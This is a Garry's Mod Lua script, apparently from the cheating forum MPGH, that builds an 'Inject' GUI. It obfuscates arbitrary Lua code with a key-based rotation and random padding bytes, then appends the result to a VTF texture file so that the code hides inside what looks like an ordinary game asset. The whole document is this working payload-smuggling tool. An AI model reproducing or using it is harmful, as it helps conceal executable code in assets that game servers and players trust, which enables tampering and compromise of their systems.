local _MH=_MH
local vtf=_MH or {} and _G
module( "mat_payload", package.seeall )

emptyVTF = "\x56\x54\x46\x00\x07\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x01\x00\x01\x00\x00\x03\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x3f\x00\x00\x80\x3f\x00\x00\x80\x3f\x00\x00\x00\x00\x00\x00\x80\x3f\x05\x00\x00\x00\x01\xff\xff\xff\xff\x00\x00\x01\x00"

local function rotChar177(letter_byte, addition)
	addition = addition % 177
	return (letter_byte + addition) % 177
end

local lenKeyToGen = 128

local function genRandomKey()
	local out = {}
	local i = 1
	while (i <= lenKeyToGen) do
		out[i] = math.random(33,126)
		i = i + 1
	end
	return string.char(unpack(out))
end

local function obfuscatePayload(str_lua_code)
	local key = genRandomKey()
	local keySum = tonumber(util.CRC(key))
	local keylen = string.len(key)
	local code_len = string.len(str_lua_code)
	local codeTBL = {string.byte(str_lua_code, 1, code_len)}
	local codedPayload = ""
	local i = 1
	while (i <= code_len) do
		local i2 = 1
		local toadd = string.byte(key[(i % (keylen - 1)) + 1])
		while (i2 <= toadd) do
			codedPayload = codedPayload .. string.char(math.random(177))
			i2 = i2 + 1
		end
		codedPayload = codedPayload .. string.char(rotChar177(codeTBL[i], keySum))
		i = i + 1
	end
	return codedPayload, key
end

function WriteCodeToVTF(identifier, str_lua_code, custom_vtf_path)
	local base_VTF = emptyVTF
	local payload, secretKey = obfuscatePayload(str_lua_code)
	local filename = identifier .. ".vtf"
	if (custom_vtf_path) then
		base_VTF = file.Read(custom_vtf_path, "BASE_PATH")
	end
	file.Write(filename, base_VTF .. payload)
	MsgC(Color(50,255,50), "███████VTF Injection report███████\n")
	MsgC(Color(100,255,100), "\tWrote to file : ")
	MsgC(Color(255,255,100), string.format("\t[garrysmod/data/%s]\n", filename))
	MsgC(Color(100,255,100), "\tSecret key : ")
	MsgC(Color(255,255,100), string.format("\t%s\n", secretKey))
	MsgC(Color(100,255,100), "\tVTF offset : ")
	MsgC(Color(255,255,100), string.format("\t%s\n", string.len(base_VTF)))
	MsgC(Color(50,255,50), "███████VTF Injection report END███████\n")
	return secretKey, string.len(base_VTF)
end

surface.CreateFont("vtfont",{
font="Default",
size=18
})

surface.CreateFont("vtfont2",{
font="Default",
size=19.2
})

surface.CreateFont("vtfont3",{
font="Default",
size=15
})

vtf.menu = vgui.Create("DFrame")
vtf.menu:SetSize(672,388.8)
vtf.menu:SetTitle''
vtf.menu:Center()
vtf.menu:SetVisible(false)
vtf.menu:SetMouseInputEnabled(true)
vtf.menu:SetKeyBoardInputEnabled(true)
vtf.menu:ShowCloseButton(false)
vtf.menu.Paint=function(s,w,h)
surface.SetDrawColor(45,45,45,245)
surface.DrawRect(465, 23, w - 465, h - 23)

surface.SetDrawColor(40,40,40,245)
surface.DrawRect(0,0,w,h)

surface.SetDrawColor(35,35,35,255)
surface.DrawRect(0,0,w,h*0.06)

surface.SetDrawColor(80,80,80)
surface.DrawOutlinedRect(0,0,w,h)
surface.DrawOutlinedRect(465,23,1,365)
surface.DrawOutlinedRect(485,80,167,50)
surface.DrawOutlinedRect(485,200,167,77)

surface.DrawLine(465,h*0.370,675,h*0.370)
surface.DrawLine(465,h*0.745,675,h*0.745)
surface.DrawLine(465,h*0.890,675,h*0.890)
surface.DrawLine(0,h*0.06,w,h*0.06)

draw.SimpleText("▼ VTF File Creator","vtfont",5,-0.500,Color(99, 144, 255))
draw.SimpleText("Lua Code:","vtfont2",12,40,Color(0, 255, 166))
draw.SimpleText("Original File Path:","vtfont2",505,30,Color(144, 0, 255))
draw.SimpleText("Compiled File Name:","vtfont2",500,150,Color(255, 0, 157))


draw.SimpleText("[146 Symbols Max]","vtfont",505,205,Color(232, 216, 197))
draw.SimpleText("Forbidden Characters:","vtfont",500,227,Color(147, 172, 196))
draw.SimpleText([[\ / : * ? " < > |]],"vtfont",517,250,Color(183, 0, 255))

draw.SimpleText("Downloaded from:","vtfont3",473,350,Color(255, 255, 255))
local bars = 50
for i=0, bars, 1 do
local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
draw.SimpleText("MPGH","vtfont3",577,350,Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
end

draw.SimpleText(">>","vtfont3",473,365,Color(255, 255, 255))


draw.SimpleText("Size:","vtfont",505,105,Color(255, 255, 255))
if filepath:GetText()!="" and file.Size(filepath:GetText(), "BASE_PATH")!=0 and file.Size(filepath:GetText(), "BASE_PATH")!=nil and file.Exists(filepath:GetText(), "BASE_PATH") and string.find(filepath:GetText():lower(), ".vtf") then
draw.SimpleText(file.Size(filepath:GetText(), "BASE_PATH"),"vtfont",540,105,Color(0, 195, 255))
else
draw.SimpleText("Zero","vtfont",540,105,Color(255, 170, 0))
end

draw.SimpleText("Status:","vtfont",505,85,Color(255, 255, 255))
if filepath:GetText()!="" and file.Size(filepath:GetText(), "BASE_PATH")!=0 and file.Size(filepath:GetText(), "BASE_PATH")!=nil and file.Exists(filepath:GetText(), "BASE_PATH") and string.find(filepath:GetText():lower(), ".vtf") then
draw.SimpleText("OK✔","vtfont",555,85,Color(0, 255, 17))
else
draw.SimpleText("Waiting...","vtfont",555,85,Color(255, 255, 0))
end
end

luacode=vgui.Create("DTextEntry",vtf.menu)
luacode:SetPos(12,65)
luacode:SetSize(440,310)
luacode:SetAllowNonAsciiCharacters(true)
luacode:SetMultiline(true)
luacode:SetText("print(1)")
luacode:SetDrawLanguageID(false)
luacode:SetCursorColor(Color(255,255,255))

luacode.Paint=function(s,w,h)
s:DrawTextEntryText(Color(255,255,255,204), Color(70, 70, 255), Color(0,0,0))
surface.SetDrawColor(90,90,90,90)
surface.DrawRect(0,0,w,h)
end

filepath=vgui.Create("DTextEntry",vtf.menu)
filepath:SetPos(475,55)
filepath:SetSize(187,18)
filepath:SetDrawLanguageID(false)

filepath.Paint=function(s,w,h)
s:DrawTextEntryText(Color(255,255,255,204), Color(70, 70, 255), Color(0,0,0))
surface.SetDrawColor(110,110,110,100)
surface.DrawRect(0,0,w,h)
end

filename=vgui.Create("DTextEntry",vtf.menu)
filename:SetPos(475,175)
filename:SetSize(187,18)
filename:SetDrawLanguageID(false)

filename.Paint=function(s,w,h)
s:DrawTextEntryText(Color(255,255,255,204), Color(70, 70, 255), Color(0,0,0))
surface.SetDrawColor(110,110,110,100)
surface.DrawRect(0,0,w,h)
end

compile=vgui.Create("DButton",vtf.menu)
compile:SetPos(475,300)
compile:SetSize(187,35)
compile:SetFont("vtfont2")
compile:SetTextColor(Color( 255, 0, 0, 255 ) )
compile:SetText("Inject")
compile:SetImage("icon16/bug_add.png","noclamp")
compile.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
if filepath:GetText()!="" and filename:GetText():len()<=146 and filename:GetText()!="" and luacode:GetText()!="" and file.Size(filepath:GetText(), "BASE_PATH")!=0 and file.Size(filepath:GetText(), "BASE_PATH")!=nil and file.Exists(filepath:GetText(), "BASE_PATH") and string.find(filepath:GetText():lower(), ".vtf") then
WriteCodeToVTF(filename:GetText(), luacode:GetText(), filepath:GetText())
chat.AddText("VTF file created, check the console")
else
chat.AddText("Something went wrong")
end
end

compile.Paint=function(s,w,h)
if compile.Hovered and !compile:IsDown() then
surface.SetDrawColor(110,110,110,100)
surface.DrawRect(0,0,w,h)
else
surface.SetDrawColor(90,90,90,100)
surface.DrawRect(0,0,w,h)
end
end

concommand.Add("vtf_menu", function()
if !vtf.menu:IsVisible() then
vtf.menu:SetVisible(true)
vtf.menu:MakePopup()
else
vtf.menu:SetVisible(false)
end
end)

vtf.menu.open=0

hook.Add("Think", "vtfmenu", function()
if input.IsKeyDown(KEY_HOME) and !LocalPlayer():IsTyping() then
vtf.menu.open = vtf.menu.open + 1
if vtf.menu.open == 1 then
LocalPlayer():ConCommand("vtf_menu")
end
else
vtf.menu.open = 0
end
end)